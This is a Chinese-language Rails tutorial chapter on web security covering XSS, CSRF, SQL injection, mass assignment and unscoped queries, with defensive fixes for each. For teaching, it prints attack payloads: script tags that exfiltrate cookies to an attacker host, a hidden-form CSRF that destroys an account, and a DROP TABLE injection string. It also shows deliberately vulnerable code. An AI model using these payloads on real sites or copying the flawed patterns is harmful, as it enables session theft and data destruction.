添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
Link Search Menu Expand Document

本章內容與 Part 2-5 Rails 網站安全 有些重複,可以先去看 Part 2-5。

網路安全

If you’re the smartest person in the room, you’re in the wrong room. - Unknown

一旦你的網站要放到網際網路上,你就得接受被駭客攻擊的風險,小則倒站,大則使用者資料被竊取。而從網路設備、作業系統、網站伺服器、資料庫到應用程式,有高達 75% 的攻擊主要都發生在網站應用程式這一層,因此身為網站開發者的你,對於網路安全不能沒有基本的認識。

所幸 Rails 本身就內建了許多安全機制,像是 SQL injection XSS CSRF 等,可以幫助我們防範常見的數種網路攻擊,這一章會介紹幾個網路安全上的防範重點。

關於網路安全,有幾點觀念值得一提:

  • 不像做功能有就有,沒有就沒有。網路安全只能說相對比較安全。
  • 不需要花太多功夫,網站就可以有足夠的安全性。但是如果需要極高的安全需求,花費的成本才會大幅提昇。 安全性有時和使用性 (usability)*有時是衝突的,想要越高的安全性可能導致功能越難用(想想驗證碼吧)。這在設計上需要取捨。
  • 安全性必須是設計軟體一開始就必須考量到

當然,還有一項最重要的網路安全黃金守則:「千萬不要相信使用者輸入進來的資料」。使用者是邪惡的,他們會有不預期的操作和輸入不正常的資料。

跨站腳本攻擊 XSS(Cross-Site Scripting)

XSS 可說是網站界第一名常見的攻擊模式,惡意的使用者可以將腳本程式碼放在網頁上讓其他使用者執行,任何可以讓使用者輸入資料的網站,都必須小心這個問題。例如可以將以下的程式貼到網頁上:

<script>alert('HACK YOU!');</script>
<img src=javascript:alert('HACK YOU!')>
<table background="javascript:alert('HACK YOU!')">
<script>document.write(document.cookie);</script>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

當一般使用者瀏覽到這一頁時,就會跳出 alert 視窗,或是將敏感資料例如 cookie 內容傳給攻擊者。

要防範這個問題的方法,就是要逸出使用者輸入的內容,例如將 <script> 變成 &lt;script&gt; ,使之顯示出來的時候不讓瀏覽器去執行。你可以會想只要逸出 <script> 就好了吧?這就錯了,請千萬不要嘗試建立黑名單過濾,你可以參觀 XSS Cheat Sheet 這個網站,就會知道有非常多形式可以讓瀏覽器去執行腳本程式。因此最簡單又保險的方式,就是全部逸出。這在 Rails 3 版本已經變成預設行為,任何 View 樣本的字串,都會做 HTML 逸出。

如果你知道資料是安全的不要逸出,這時你要用 html_safe raw 方法:

"<p>safe</p>".html_safe
raw("<p>safe</p>")

Rails 3 之前不會自動逸出,因此在樣板中需要加 escapeHTML() h() 方法。也因為很多人常常會忘記造成 XSS 漏洞,所以在 Rails 3 之後就改成預設逸出了。

關於如何在 Rails Helper 中正確處理逸出 HTML,請參考「Action View - Helpers 方法」的 如何安全地處理HTML逸出問題? 一節。

如何開放使用者張貼 HTML

但是有時候我們還是必須開放讓使用者可以張貼簡單的 HTML 內容,例如超連結、圖片、標題等等。這時候我們可以用白名單的作法, Rails 提供了 sanitize() 方法可以過濾逸出。

即使使用 Textile Markdown 語法,你還是必須過濾 HTML 標籤。

跨站偽造請求 CSRF(Cross-site request forgery)

CSRF 是說攻擊者可以利用別人的權限去執行網站上的操作,例如刪除資料。例如,攻擊者張貼了以下腳本到網頁上:

<img src="/posts/delete_all">

攻擊者自己當然是沒有權限可以執行”/posts/delete_all”這一頁,但是網站管理員有。當網站管理員看到這一頁時,瀏覽器就觸發了這個不預期的動作而把資料刪除。

要防範 CSRF ,首先可以從區別 GET POST HTTP 請求開始。我們在路由一章提過:所有讀取、查詢性質操作,都應該用 GET ,而會修改或刪除到資料的,則要用 POST PATCH/PUT DELETE 。這樣的設計,就可以防止上面的惡意程式碼了,因為在瀏覽器中必須用表單 form 才能送出 POST 請求。

不過,這樣還不夠。因為即使是 POST ,瀏覽器還是可能不經過你同意而自動發送出去,例如:

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

所幸, Rails 內建了 CSRF 防禦功能,也就是所有的 POST 請求,都必須加上一個安全驗證碼。在 app/controllers/application_controller.rb 你會看到以下程式啟用這個功能:

class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception

這個功能會在所有的表單中自動插入安全驗證碼:

<form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post">
    <div style="margin:0;padding:0;display:inline">
    <input name="_method" type="hidden" value="patch" />
    <input name="authenticity_token" type="hidden" value="cuI+ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" />

如果 POST 請求沒有帶正確的驗證碼, Rails 就會丟出一個 ActionController:InvalidAuthenticityToken 的錯誤。

Layout 中也有一段 <%= csrf_meta_tags %> 是給 JavaScript 讀取驗證碼用的。

SQL injection 注入攻擊

SQL injection 注入是說攻擊者可以輸入任意的 SQL 讓網站執行,這可說是最有殺傷力的攻擊。如果你寫出以下這種直接把輸入放在 SQL 條件中的程式:

Project.where("name = '#{params[:name]}'")

那麼使用者只要輸入:

x'; DROP TABLE users; --

最後執行的 SQL 就會變成

SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’

其中的 ; 結束了第一句,第二句 DROP TABLE users; 就讓你欲哭無淚。

Exploits of a Mom http://xkcd.com/327/

要處理這個問題,也是一樣要對任何有包括使用者輸入值的 SQL 語句做逸出。在 Rails ActiveRecord where 方法中使用 Hash Array 寫法就會幫你處理,所以請一定都用這種寫法,而不要使用上述的字串參數寫法:

Project.where( { :name => params[:name] } )
Project.where( ["name = ?", params[:name] ] )

如果你有用到以下的方法, ActiveRecord 是不會自動幫你逸出,要特別注意:

  • find_by_sql
  • execute
  • where 用字串參數
  • group
  • order

詳見 Rails SQL Injection

你可以自定一些固定的參數,並檢查使用者輸入的資料,例如:

class User < ApplicationRecord
  def self.find_live_by_order(order)
    raise "SQL Injection Warning" unless ["id","id desc"].include?(order)
    where( :status => "live" ).order(order)

或是手動呼叫 ActiveRecord::Base::connection.quote 方法:

class User < ApplicationRecord
  def self.find_live_by_order(order)
    where( :status => "live" ).order( connection.quote(order) )

大量賦值(Mass assignment)

Mass assignemet 是個 Rails 專屬,因為太方便而造成的安全性議題。 ActiveRecord 物件在新建或修改時,可以直接傳入一個 Hash 來設定屬性(這功能叫做 Mass assignment ),所以我們可以直接將網頁表單上的參數直接丟進放進去:

def create
  # 假設表單送出 params[:user] 參數是
  # {:name => “ihover”, :email => "[email protected]", :is_admin => true}
  @user = User.create(params[:user])
def update
  @user = User.update(params[:user])

但是這個 Model 包含一些敏感屬性,例如此例中 is_admin 是個辨別是否是管理員的 Boolean 值,惡意的使用者可以直接修改 HTML 表單送出 is_admin=true ,造成了安全上的漏洞,所以以上的程式實際上會出現 ActiveModel::ForbiddenAttributesError 的安全錯誤訊息。

為了解決這個問題, Rails 使用了 Strong Parameters 的機制來檢查 params 參數必須經過檢查才可以做 Mass assignment ,例如上述的程式必須改成:

def create
  @user = User.create(user_params)
def update
  @user = User.update(user_params)
protected
def user_params
    params.require(:user).permit(:name, :email)

這樣才可以一次賦值 name email

當然,如果你沒有 Mass assignment 的需求,大可不必用到 Strong Parameters 技巧,例如以下的程式也是可以運作的:

def create
  @user = User.create( :name => params[:user][:name], :email => params[:user][:email] )

不受限的資訊查詢

當你需要根據使用者傳進來的 params[:id] 做資料查詢的時候,你需要注意查詢的範圍,例如以下是找訂單:

  def show
    @order = Order.find(params[:id])

使用者只要隨意變更 params[:id] ,就可以查到別人的訂單,你可能會寫出以下的程式來防範:

def show
  @order = Order.find(params[:id])
  if @order.user != current_user
    flash[:alert] = "你沒有權限"
    redirect_to root_path
    return

或是透過 ActiveRecord 限定範圍即可:

  def show
    @order = current_user.orders.find(params[:id])